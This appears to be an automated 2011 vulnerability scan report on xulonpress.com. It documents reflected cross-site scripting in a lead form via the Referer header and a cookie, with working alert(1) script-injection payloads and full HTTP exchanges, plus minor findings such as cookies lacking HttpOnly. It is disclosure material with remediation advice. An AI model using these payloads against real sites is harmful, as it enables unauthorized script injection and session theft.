XSS, xulonpress.com, Cross Site Scripting, CWE-79, CAPEC-86, Referer

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 07:55:46 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home XSS.CX Research Blog

1. Cross-site scripting (reflected)

1.1. http://www.xulonpress.com/zipdata_lead_form/lead_form.php [Referer HTTP header]

1.2. http://www.xulonpress.com/zipdata_lead_form/lead_form.php [lead_sourceCookie cookie]

2. Cookie without HttpOnly flag set

3. Referer-dependent response

4. Cross-domain Referer leakage

5. Email addresses disclosed

6. HTML does not specify charset

6.1. http://www.xulonpress.com/imgs/Flash/newvideo6/inc.xulonvideo_home.php

6.2. http://www.xulonpress.com/zipdata_lead_form/lead_form.php

7. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/zipdata_lead_form/lead_form.php [Referer HTTP header]
/zipdata_lead_form/lead_form.php [lead_sourceCookie cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.xulonpress.com/zipdata_lead_form/lead_form.php [Referer HTTP header] next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/zipdata_lead_form/lead_form.php

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2f932'><script>alert(1)</script>b712c5ca896 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /zipdata_lead_form/lead_form.php HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=2f932'><script>alert(1)</script>b712c5ca896
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:51:00 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5830
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv='X-UA-Compatible' content='IE=8'>
<style>
body table, ul, li, p, h2, a {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: x-small;
}

td {
display:table-
...[SNIP]...
<input type='hidden' name='Page_Source' value='http://www.google.com/search?hl=en&q=2f932'><script>alert(1)</script>b712c5ca896'>
...[SNIP]...

1.2. http://www.xulonpress.com/zipdata_lead_form/lead_form.php [lead_sourceCookie cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/zipdata_lead_form/lead_form.php

Issue detail

The value of the lead_sourceCookie cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64623"><script>alert(1)</script>f53edaa356e was submitted in the lead_sourceCookie cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /zipdata_lead_form/lead_form.php HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
Referer: http://www.xulonpress.com/index.php?lead_source=Google_PPC_Keywords&gclid=CPb20Zzg06cCFc165QodQglc-Q
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords64623"><script>alert(1)</script>f53edaa356e

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:52 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5893
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv='X-UA-Compatible' content='IE=8'>
<style>
body table, ul, li, p, h2, a {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: x-small;
}

td {
display:table-
...[SNIP]...
<input type='hidden' name='lead_source' value="Google_PPC_Keywords64623"><script>alert(1)</script>f53edaa356e">
...[SNIP]...

2. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.xulonpress.com
Path:	/index.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=9b582qjcppdsn410mcnre0olf3; path=/
refererCookie=deleted; expires=Tue, 16-Mar-2010 18:50:10 GMT
lead_sourceCookie=Google_PPC_Keywords; expires=Wed, 16-Mar-2011 18:55:11 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /index.php?lead_source=Google_PPC_Keywords&gclid=CPb20Zzg06cCFc165QodQglc-Q HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

3. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.xulonpress.com
Path:	/zipdata_lead_form/lead_form.php

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

Response 1

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5850
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv='X-UA-Compatible' content='IE=8'>
<style>
body table, ul, li, p, h2, a {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: x-small;
}

td {
display:table-
...[SNIP]...
<input type='hidden' name='Page_Source' value='http://www.xulonpress.com/index.php?lead_source=Google_PPC_Keywords&gclid=CPb20Zzg06cCFc165QodQglc-Q'>
</td></tr>
<tr><td colspan=2><img src='/images/spacer.gif' width=1 height=4 /><br /></td></tr>
<tr><td colspan="2" align="center">
<input type="image" src="lead_form_btn.png" alt="Submit button">
</td>
</tr>
<tr><td colspan=2> <br /><br /><br /></td></tr>

</table>

</form>
<script language="JavaScript" type="text/javascript">
var frmvalidator = new Validator("Leads");
frmvalidator.addValidation("first_name","req", "Please enter your First Name");
frmvalidator.addValidation("last_name","req", "Please enter your Last Name");
frmvalidator.addValidation("email","req", "Please enter your email address");
frmvalidator.addValidation("email","email");
frmvalidator.addValidation("street","req", "Please enter your Address");
frmvalidator.addValidation("city","req", "Please enter your City");
frmvalidator.addValidation("state","req", "Please select your State");
frmvalidator.addValidation("zip","req", "Please enter your Zip Code");
frmvalidator.addValidation("rating","req", "Please answer when your manuscript will be ready");
</script>
</td></tr></table>
</body>
</html>

Request 2

GET /zipdata_lead_form/lead_form.php HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords

Response 2

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:38 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5750
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv='X-UA-Compatible' content='IE=8'>
<style>
body table, ul, li, p, h2, a {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: x-small;
}

td {
display:table-
...[SNIP]...
<input type='hidden' name='Page_Source' value=''>
</td></tr>
<tr><td colspan=2><img src='/images/spacer.gif' width=1 height=4 /><br /></td></tr>
<tr><td colspan="2" align="center">
<input type="image" src="lead_form_btn.png" alt="Submit button">
</td>
</tr>
<tr><td colspan=2> <br /><br /><br /></td></tr>

</table>

</form>
<script language="JavaScript" type="text/javascript">
var frmvalidator = new Validator("Leads");
frmvalidator.addValidation("first_name","req", "Please enter your First Name");
frmvalidator.addValidation("last_name","req", "Please enter your Last Name");
frmvalidator.addValidation("email","req", "Please enter your email address");
frmvalidator.addValidation("email","email");
frmvalidator.addValidation("street","req", "Please enter your Address");
frmvalidator.addValidation("city","req", "Please enter your City");
frmvalidator.addValidation("state","req", "Please select your State");
frmvalidator.addValidation("zip","req", "Please enter your Zip Code");
frmvalidator.addValidation("rating","req", "Please answer when your manuscript will be ready");
</script>
</td></tr></table>
</body>
</html>

4. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.xulonpress.com/index.php?lead_source=Google_PPC_Keywords&gclid=CPb20Zzg06cCFc165QodQglc-Q

The response contains the following links to other domains:

http://twitter.com/xulon_press
http://www.amazon.com/
http://www.barnesandnoble.com/
http://www.books.google.com/
http://www.ccmmagazine.com/
http://www.christianity.com/
http://www.christianjobs.com/
http://www.churchstaffing.com/
http://www.crosscards.com/
http://www.crossdaily.com/
http://www.crosswalk.com/
http://www.facebook.com/pages/Xulon-Press/214926806111?v=wall
http://www.lightsource.com/
http://www.oneplace.com/
http://www.salem.cc/RadioStations.aspx
http://www.sermonsearch.com/
http://www.thefish.com/
http://www.xulonauthors.com/
http://www.youtube.com/christianbookstv
http://www.youtube.com/xulonpress

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:11 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=9b582qjcppdsn410mcnre0olf3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: refererCookie=deleted; expires=Tue, 16-Mar-2010 18:50:10 GMT
Set-Cookie: lead_sourceCookie=Google_PPC_Keywords; expires=Wed, 16-Mar-2011 18:55:11 GMT
Connection: close
Content-Type: text/html
Content-Length: 22985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<title>Self Publishing - Xulon Press Christian Self Publis
...[SNIP]...
<li><a href="http://www.xulonauthors.com/">Author Center</a>
...[SNIP]...
<p style="text-align:left;margin-left:9px;">Xulon Press books can be ordered through your local bookstore or from <a href="http://www.books.google.com" target="_blank">books.google.com</a>, <a href="http://www.amazon.com" target="_blank">amazon.com</a>, <a href="http://www.barnesandnoble.com" target="_blank">barnesandnoble.com</a>
...[SNIP]...
<td align="left" valign="top"><a href="http://www.facebook.com/pages/Xulon-Press/214926806111?v=wall#!/pages/ChristianBooksTV/376452805345?v=wall" target="_blank"><img src="/images/xulon-footer_fb.jpg" alt="Xulon Facebook" width="174" height="191" border="0" />
...[SNIP]...
<td align="left" valign="top"><a href="http://www.youtube.com/xulonpress" target="_blank"><img src="/images/xulon-footer_yt.jpg" alt="Xulon YouTube" width="156" height="191" border="0" >
...[SNIP]...
<td align="left" valign="top"><a href="http://twitter.com/xulon_press" target="_blank"><img src="/images/xulon-footer_twtr.jpg" alt="Xulon Twitter Feed" width="156" height="191" border="0" >
...[SNIP]...
<br />To listen to a Salem radio station near you, <a href="http://www.salem.cc/RadioStations.aspx">click here</a>
...[SNIP]...
<map name="MapMap2">

<area shape="rect" coords="-5,7,135,54" href="http://www.crosswalk.com" target="_blank" alt="CrossWalk.com">
<area shape="rect" coords="282,7,425,52" href="http://www.Christianity.com" target="_blank" alt="Christianity.com">
<area shape="rect" coords="142,6,272,53" href="http://www.oneplace.com" target="_blank" alt="OnePlace.com">

<area shape="rect" coords="434,7,563,52" href="http://www.ChristianJobs.com" target="_blank" alt="ChristianJobs.com">
<area shape="rect" coords="575,8,698,51" href="http://www.LightSource.com" target="_blank" alt="LightSource.com">
<area shape="rect" coords="146,62,287,106" href="http://www.ChurchStaffing.com" target="_blank" alt="ChurchStaffing.com">
<area shape="rect" coords="294,62,390,104" href="http://www.SermonSearch.com" target="_blank" alt="SermonSearch.com">
<area shape="rect" coords="11,63,142,108" href="http://www.crossDaily.com" target="_blank" alt="CrossDaily.com">

<area shape="rect" coords="540,64,623,105" href="http://www.ccmmagazine.com" target="_blank" alt="CCMmagazine.com">
<area shape="rect" coords="397,64,533,108" href="http://www.crosscards.com" target="_blank" alt="CrossCards.com">
<area shape="rect" coords="628,61,691,108" href="http://www.TheFish.com" target="_blank" alt="TheFish.com">
</map>
...[SNIP]...
<map name="SocialMap">
<area shape="rect" coords="55,85,125,140" href="http://www.facebook.com/pages/Xulon-Press/214926806111?v=wall#!/pages/ChristianBooksTV/376452805345?v=wall">
<area shape="rect" coords="137,87,205,143" href="http://www.youtube.com/christianbookstv">
</map>
...[SNIP]...

5. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/assets/js/gen_validatorv31.js

Issue detail

The following email address was disclosed in the response:

support@javascript-coder.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /assets/js/gen_validatorv31.js HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
Referer: http://www.xulonpress.com/zipdata_lead_form/lead_form.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 25 May 2010 15:44:45 GMT
ETag: "2d70032-471f-4876d095b3540"
Accept-Ranges: bytes
Content-Length: 18207
Connection: close
Content-Type: application/x-javascript

/*
-------------------------------------------------------------------------
        JavaScript Form Validator (gen_validatorv31.js)
Version 3.1
   Copyright (C) 2003-2008 JavaScript-Cod
...[SNIP]...
tion script is distributed free from JavaScript-Coder.com
   For updates, please visit:
   http://www.javascript-coder.com/html-form/javascript-form-validation.phtml

   Questions & comments please send to support@javascript-coder.com
-------------------------------------------------------------------------
*/
function Validator(frmname)
{
this.formobj=document.forms[frmname];
   if(!this.formobj)
   {
    alert("Error: couldnot g
...[SNIP]...

6. HTML does not specify charset previous next
There are 2 instances of this issue:

/imgs/Flash/newvideo6/inc.xulonvideo_home.php
/zipdata_lead_form/lead_form.php

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

6.1. http://www.xulonpress.com/imgs/Flash/newvideo6/inc.xulonvideo_home.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/imgs/Flash/newvideo6/inc.xulonvideo_home.php

Request

GET /imgs/Flash/newvideo6/inc.xulonvideo_home.php HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
Referer: http://www.xulonpress.com/index.php?lead_source=Google_PPC_Keywords&gclid=CPb20Zzg06cCFc165QodQglc-Q
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: videoCookie=1; expires=Wed, 23-Mar-2011 18:50:15 GMT
Content-Length: 1862
Connection: close
Content-Type: text/html

<html>
<head>
<script language="javascript">AC_FL_RunContent = 0;</script>
<script src="AC_RunActiveContent.js" language="javascript"></script>
<script src="/flashdetect/flash_detect.js" language="ja
...[SNIP]...

6.2. http://www.xulonpress.com/zipdata_lead_form/lead_form.php previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.xulonpress.com
Path:	/zipdata_lead_form/lead_form.php

Request

Response

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.xulonpress.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.xulonpress.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=633mndt3mdh9rf5hnsvf832gl4; lead_sourceCookie=Google_PPC_Keywords; __utmz=176092587.1300301410.1.1.utmgclid=CPb20Zzg06cCFc165QodQglc-Q|utmccn=(not%20set)|utmcmd=(not%20set); __utma=176092587.1738806430.1300301410.1300301410.1300301410.1; __utmc=176092587; __utmb=176092587.2.10.1300301410

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:24 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 09 Mar 2009 21:20:28 GMT
ETag: "2b3879b-37e-464b6341d3f00"
Accept-Ranges: bytes
Content-Length: 894
Connection: close
Content-Type: text/plain

..............h.......(....... ...............[...[.....................................................................................................................................................
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 07:55:46 CDT 2011.